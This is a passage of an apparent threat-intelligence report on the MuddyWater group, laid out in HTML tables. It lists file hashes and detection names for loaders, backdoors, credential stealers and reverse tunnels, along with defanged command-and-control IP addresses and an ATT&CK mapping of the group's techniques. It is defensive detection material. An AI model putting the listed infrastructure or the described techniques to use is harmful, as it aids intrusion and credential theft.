width=\"161\">MuddyWater \u2013 CE-Notes browser-data stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">29CDA06701F9A9C0A679<wbr \/>1775C3EB70F5B52BBEFF<\/td>\n<td width=\"132\">3a70e4c8c2IVcQn<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.C<\/td>\n<td width=\"161\">MuddyWater \u2013 LP-Notes credential stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">8F3ED626E7B929450E36<wbr \/>E97BA5539C8371DF0EF8<\/td>\n<td width=\"132\">3a70e4c8c2IVcQn<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.C<\/td>\n<td width=\"161\">MuddyWater \u2013 LP-Notes credential stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">007B5CD6D6ACF972F774<wbr \/>3F79E23CAB9BB2ECBEE3<\/td>\n<td width=\"132\">Dsync-es<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.F<\/td>\n<td width=\"161\">MuddyWater \u2013 Mimikatz loader.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">CD36F93DBC4C71893059<wbr \/>3D8F029EFDCAA52B619B<\/td>\n<td width=\"132\">App_chek<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded HackBrowserData tool.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">47B70C47BEB33E88B419<wbr \/>7D6AF1B768230E51B067<\/td>\n<td width=\"132\">steam<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">D46900D78AE036967E0B<wbr \/>37F9EC6A8000131AE604<\/td>\n<td width=\"132\">antimage<wbr \/>.exe<\/td>\n<td width=\"170\">Win32\/MuddyWater.A<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">0657D0B0610618886DDD<wbr \/>74C3D0A1D582CDD24863<\/td>\n<td width=\"132\">wtsapi32.dll<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">2939FD218E0145D730BD<wbr \/>94AA1C76386A5259EACE<\/td>\n<td width=\"132\">msi.dll<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">3BC6502A55A4D5D29132<wbr \/>DA4D9943E154A810CC83<\/td>\n<td width=\"132\">WinWin<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">7950296331802188EB99<wbr \/>E232E2C383CB9FDD5D7D<\/td>\n<td width=\"132\">20241118_223247<wbr \/>_Launcher<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">8580824FE14DB1583881<wbr \/>02B16C1C79DFBBA36083<\/td>\n<td width=\"132\">Launcher.dll<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">B48B93B4EB69D01588D3<wbr \/>71356EDE614C5E7378DE<\/td>\n<td width=\"132\">Launcher<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">EA8A1C2382FF765709D7<wbr \/>F78EF60482598E4C0DEB<\/td>\n<td width=\"132\">vcruntime140_1<wbr \/>.dll<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">EAF4BAFC62170C9FCA1F<wbr \/>6B591848883DBF97F93D<\/td>\n<td width=\"132\">Launcher<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">F5EFBA6CCBA5A6AD6C3A<wbr \/>FA928C0E5EAA44597411<\/td>\n<td width=\"132\">ncrypt.dll<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">13DA612D75DC5268F523<wbr \/>5F5BACE6D8F0DB0091FF<\/td>\n<td width=\"132\">WinWin(persist)<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.G<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder loader with embedded MuddyViper backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">25361183DE63F296BA71<wbr \/>B6FCF0725E022B3C989A<\/td>\n<td width=\"132\">0bff183a39ruQsY<wbr \/>.dll<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">0E9A4892CFA1C9065B36<wbr \/>D8F2E164E28609A8CF5D<\/td>\n<td width=\"132\">20d188afdcpfLFq<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">2B09241CA025BDC4455E<wbr \/>9F6BA6009E2F27C08EDF<\/td>\n<td width=\"132\">dttcodexgigas<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">2E9BE23CDD8152DB6CD1<wbr \/>A54E001C4EA82FF6F1C6<\/td>\n<td width=\"132\">7295be2b1fHxjyf<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">45FA7DE711FEA1F8D1E3<wbr \/>48E87834246C455DD2ED<\/td>\n<td width=\"132\">fa54125dc8ZpaNJ<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">4E0EF2386980639FC535<wbr \/>5FD68DAFF54EB2AD622E<\/td>\n<td width=\"132\">20d188afdcWgOQB<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">4E9529BA4A6E42D6278D<wbr \/>37E3FDEE9E1D991CEBE0<\/td>\n<td width=\"132\">bd34a33f5bHOVby<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">50C6D4A2AD16A231CF11<wbr \/>C43F3BBC868D90E20D25<\/td>\n<td width=\"132\">re<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.F<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">52009F36058337B6401D<wbr \/>A0A0F4885A0C185F0520<\/td>\n<td width=\"132\">bd34a33f5bHOVby<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">535882B6EDAB29247E03<wbr \/>5236A84CA510FB1E0854<\/td>\n<td width=\"132\">20d188afdcpfLFq<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">544CE18E4C1F1B288DEE<wbr \/>6018DFCF4E4D4A315F7A<\/td>\n<td width=\"132\">1110254b63WfTEa<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">54EBC125039CC83E4682<wbr \/>CA44DD592534562B25C3<\/td>\n<td width=\"132\">FMAPP.dll<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">5A08150C1DC17E9F6912<wbr \/>96F0A577C2EC9BA8028C<\/td>\n<td width=\"132\">bd34a33f5bJeJOf<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 proxy reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">5D1E61DA8083C41FF1FC<wbr \/>23A1222A4A88B43A4E9B<\/td>\n<td width=\"132\">bd34a33f5bJeJOf<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">6532E0437C8913FA418F<wbr \/>1EE258561B15BBEE9052<\/td>\n<td width=\"132\">7295be2b1fHxjyf<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">6CA41565844118385B34<wbr \/>5A39A9B79E0BBC0DD338<\/td>\n<td width=\"132\">re<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.F<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">6FC50A99AAE1D6C40111<wbr \/>632D4F49BD19F9794CF6<\/td>\n<td width=\"132\">8525e604dfKuDNr<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">826CFF5D85713CE4B2F3<wbr \/>C15AB53A84E6848D2E2C<\/td>\n<td width=\"132\">bd34a33f5bJeJOf<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">87ADD79C7C8335447113<wbr \/>EE0D413F52AE2B17F066<\/td>\n<td width=\"132\">20d188afdcpfLFq<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">93055115559219BE8441<wbr \/>880597C533381B99213B<\/td>\n<td width=\"132\">main<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">97C3376AB551E899F347<wbr \/>CC9DDF49EA01DB2D7903<\/td>\n<td width=\"132\">504f53ca8esoLmG<wbr \/>.dll<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">99FAD0862E2E8D363F3E<wbr \/>18952FD92E09493CC27D<\/td>\n<td width=\"132\">20d188afdcpfLFq<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">A101CBCCD950AA36FC3B<wbr \/>40C3C331FDE43ACDBBD2<\/td>\n<td width=\"132\">66f3e097e4tnyHR<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">A227C0A4425E24268B75<wbr \/>9A740231676A589CA4E6<\/td>\n<td width=\"132\">fa54125dc8ZpaNJ<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">A997A7AAE727D2C12CCE<wbr \/>80FE3607317775A4DF3E<\/td>\n<td width=\"132\">fa54125dc8ZpaNJ<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">B0271CA76052EC340014<wbr \/>D7BCCDBD69325A4E60F2<\/td>\n<td width=\"132\">7295be2b1fAzMZI<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">B0CD4F5DF192BFFE6500<wbr \/>E44B80C28505DFD9CA66<\/td>\n<td width=\"132\">20d188afdcpfLFq<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">B16E7D56A8DC0FF6B3AF<wbr \/>D797E1EAB22B20DFFB39<\/td>\n<td width=\"132\">ESETGO<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">D49979D0063B28BD7339<wbr \/>0481E6AE642C00CE0791<\/td>\n<td width=\"132\">20d188afdcpfLFq<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">D518F5C648AB64B390A2<wbr \/>9AA2858219318CFC556A<\/td>\n<td width=\"132\">bd34a33f5bHOVby<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">DF223D653F761ED55F9C<wbr \/>0774F1DBF545FD741F86<\/td>\n<td width=\"132\">66f3e097e4tnyHR<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">DF8FC5213AA11EE445EA<wbr \/>D1AAE17A826E7D51A743<\/td>\n<td width=\"132\">Revoke.dll<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">E02DD79A8CAED662969F<wbr \/>6D5D0792F2CB283116E8<\/td>\n<td width=\"132\">66f3e097e4tnyHR<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">E8F4EA3857EF5FDFEC1A<wbr \/>2063D707609251F207DB<\/td>\n<td width=\"132\">main<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">F26CAE9E79871DF3A47F<wbr \/>A61A755DC028C18451FC<\/td>\n<td width=\"132\">7295be2b1fAzMZI<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">FF09608790077E1BA52C<wbr \/>03D9390E0805189ADAD7<\/td>\n<td width=\"132\">20d188afdcpfLFq<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">A9747A3F58F8F408FECE<wbr \/>FC48DB0A18A1CB6DACAE<\/td>\n<td width=\"132\">AppVs<wbr \/>.exe<\/td>\n<td width=\"170\">WinGo\/TrojanProxy<wbr \/>.Agent.D<\/td>\n<td width=\"161\">MuddyWater \u2013 go\u2011socks5 reverse tunnel.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p>&nbsp;<\/p>\n<h3>Red<\/h3>\n<p>&nbsp;<\/p>\n<div class=\"table-container\">\n<table border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td width=\"151\"><strong>IP<\/strong><\/td>\n<td width=\"104\"><strong>Domain<\/strong><\/td>\n<td width=\"142\"><strong>Hosting provider<\/strong><\/td>\n<td width=\"85\"><strong>First seen<\/strong><\/td>\n<td width=\"161\"><strong>Details<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"151\">3.95.7[.]142<\/td>\n<td width=\"104\">N\/A<\/td>\n<td width=\"142\">Amazon Data Services NoVa<\/td>\n<td width=\"85\">2024\u201109\u201108<\/td>\n<td width=\"161\">MuddyWater C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">35.175.224[.]64<\/td>\n<td width=\"104\">N\/A<\/td>\n<td width=\"142\">Amazon Technologies Inc.<\/td>\n<td width=\"85\">2024\u201110\u201110<\/td>\n<td width=\"161\">MuddyWater C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">51.16.209[.]105<\/td>\n<td width=\"104\">api.tikavod<wbr \/>ot.co[.]il<\/td>\n<td width=\"142\">Amazon Data Services Ireland Technical Role Account<\/td>\n<td width=\"85\">2024\u201109\u201115<\/td>\n<td width=\"161\">MuddyWater C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">62.106.66[.]112<\/td>\n<td width=\"104\">N\/A<\/td>\n<td width=\"142\">RIPE-NCC-HM-MNT, ORG-NCC1-RIPE<\/td>\n<td width=\"85\">2024\u201109\u201129<\/td>\n<td width=\"161\">MuddyWater staging server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">157.20.182[.]45<\/td>\n<td width=\"104\">N\/A<\/td>\n<td width=\"142\">Hosterdaddy Private Limited<\/td>\n<td width=\"85\">2024\u201104\u201118<\/td>\n<td width=\"161\">MuddyWater staging server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">161.35.172[.]55<\/td>\n<td width=\"104\">N\/A<\/td>\n<td width=\"142\">DigitalOcean, LLC<\/td>\n<td width=\"85\">2022\u201111\u201112<\/td>\n<td width=\"161\">MuddyWater staging server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">167.99.224[.]13<\/td>\n<td width=\"104\">magically<wbr \/>day[.]com<\/td>\n<td width=\"142\">DigitalOcean, LLC<\/td>\n<td width=\"85\">2022\u201111\u201106<\/td>\n<td width=\"161\">MuddyWater C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">194.11.246[.]78<\/td>\n<td width=\"104\">N\/A<\/td>\n<td width=\"142\">HosterDaddy Private Limited<\/td>\n<td width=\"85\">2024\u201107\u201123<\/td>\n<td width=\"161\">MuddyWater C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">194.11.246[.]101<\/td>\n<td width=\"104\">processplan<wbr \/>et[.]org<\/td>\n<td width=\"142\">Administrator<\/td>\n<td width=\"85\">2024\u201108\u201127<\/td>\n<td width=\"161\">MuddyWater staging and C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">206.71.149[.]51<\/td>\n<td width=\"104\">N\/A<\/td>\n<td width=\"142\">BL Networks<\/td>\n<td width=\"85\">2023\u201110\u201130<\/td>\n<td width=\"161\">MuddyWater staging server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">212.232.22[.]136<\/td>\n<td width=\"104\">N\/A<\/td>\n<td width=\"142\">HosterDaddy Private Limited<\/td>\n<td width=\"85\">2025\u201101\u201116<\/td>\n<td width=\"161\">MuddyWater C&amp;C server.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p>&nbsp;<\/p>\n<h2 id=\"tecnicas-attck-de-mitre\">T\u00e9cnicas ATT&amp;CK de MITRE<\/h2>\n<p>Esta tabla se ha elaborado utilizando\u00a0<a href=\"https:\/\/attack.mitre.org\/resources\/versions\/\" target=\"_blank\" rel=\"noopener\">la versi\u00f3n 17<\/a>\u00a0del marco MITRE ATT&amp;CK.<\/p>\n<p>&nbsp;<\/p>\n<div class=\"table-container\">\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td><strong>Tactic<\/strong><\/td>\n<td><strong>ID<\/strong><\/td>\n<td><strong>Name<\/strong><\/td>\n<td><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>Reconnaissance<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1591\" target=\"_blank\" rel=\"noopener\"><em>T1591<\/em><\/a><\/td>\n<td>Gather Victim Org Information<\/td>\n<td>MuddyWater gathers victim org info to use in spearphishing emails.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"4\"><strong>Resource Development<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1583\" target=\"_blank\" rel=\"noopener\"><em>T1583<\/em><\/a><\/td>\n<td>Acquire Infrastructure<\/td>\n<td>MuddyWater uses acquired infrastructure to host malware download locations and C&amp;C servers.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1608\" target=\"_blank\" rel=\"noopener\"><em>T1608<\/em><\/a><\/td>\n<td>Stage Capabilities<\/td>\n<td>MuddyWater stages tools like RMM tools and data stealers on file-hosting sites such as OneHub and Mega Limited.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1587\/001\" target=\"_blank\" rel=\"noopener\"><em>T1587.001<\/em><\/a><\/td>\n<td>Develop Capabilities: Malware<\/td>\n<td>MuddyWater develops backdoors like MuddyViper and tools such as the Fooder loader, LP-Notes credential stealer, and the Blub and CE-Notes browser-data stealers.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1588\/002\" target=\"_blank\" rel=\"noopener\"><em>T1588.002<\/em><\/a><\/td>\n<td>Obtain Capabilities: Tool<\/td>\n<td>MuddyWater uses publicly available tools from GitHub, such as\u00a0<a href=\"https:\/\/github.com\/moonD4rk\/HackBrowserData\" target=\"_blank\" rel=\"noopener\">HackBrowserData<\/a>\u00a0and Go-based reverse proxies.<\/td>\n<\/tr>\n<tr>\n<td><strong>Initial Access<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1566\/002\" target=\"_blank\" rel=\"noopener\"><em>T1566.002<\/em><\/a><\/td>\n<td>Phishing: Spearphishing Link<\/td>\n<td>MuddyWater uses spearphishing emails with links to file hosting sites like OneHub and Mega Limited to host RMM software (Atera, Level, and PDQ).<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"5\"><strong>Execution<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1059\/001\" target=\"_blank\" rel=\"noopener\"><em>T1059.001<\/em><\/a><\/td>\n<td>Command-Line Interface: PowerShell<\/td>\n<td>MuddyViper has the capability to open and execute PowerShell scripts.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1059\/003\" target=\"_blank\" rel=\"noopener\"><em>T1059.003<\/em><\/a><\/td>\n<td>Command-Line Interface: Windows Command Shell<\/td>\n<td>MuddyViper has the capability to offer the Windows Command shell as a reverse shell.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1559\/001\" target=\"_blank\" rel=\"noopener\"><em>T1559.001<\/em><\/a><\/td>\n<td>Inter-Process Communication: Component Object Model<\/td>\n<td>MuddyViper uses the\u00a0ITaskService\u00a0COM object to create a scheduled task for persistence.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1106\" target=\"_blank\" rel=\"noopener\"><em>T1106<\/em><\/a><\/td>\n<td>Native API<\/td>\n<td>MuddyViper uses the\u00a0CreateProcess\u00a0API to execute additional files and commands.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1204\/001\" target=\"_blank\" rel=\"noopener\"><em>T1204.001<\/em><\/a><\/td>\n<td>User Execution: Malicious Link<\/td>\n<td>MuddyWater operators rely on targets clicking malicious links delivered through spearphishing.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"3\"><strong>Persistence<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1547\/001\" target=\"_blank\" rel=\"noopener\"><em>T1547.001<\/em><\/a><\/td>\n<td>Boot or Logon Autostart Execution: Registry Run Keys \/ Startup Folder<\/td>\n<td>MuddyViper has the capability to copy itself to the victim\u2019s Startup folder.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1543\/003\" target=\"_blank\" rel=\"noopener\"><em>T1543.003<\/em><\/a><\/td>\n<td>Create or Modify System Process: Windows Service<\/td>\n<td>MuddyWater operators attempt to install RMM tools in\u00a0%PROGRAMFILES%, which also includes creating a Windows service set to autostart.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1053\" target=\"_blank\" rel=\"noopener\"><em>T1053<\/em><\/a><\/td>\n<td>Scheduled Task\/Job<\/td>\n<td>MuddyViper can be persisted as a scheduled task named\u00a0ManageOnDriveUpdater.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"14\"><strong>Defense Evasion<\/strong><\/td>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1134\/001\" target=\"_blank\" rel=\"noopener\"><em>T1134.001<\/em><\/a><\/td>\n<td>Access Token Manipulation: Token Impersonation\/Theft<\/td>\n<td>The LP-Notes and CE-Notes tools attempt to impersonate a logged-on user\u2019s security context via ImpersonateLoggedOnUser.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1140\" target=\"_blank\" rel=\"noopener\"><em>T1140<\/em><\/a><\/td>\n<td>Deobfuscate\/Decode Files or Information<\/td>\n<td>Blub uses string obfuscation for storing stolen data.<br \/>\nFooder can extract embedded, AES-encrypted payloads.<br \/>\nCE-Notes and LP-Notes both use 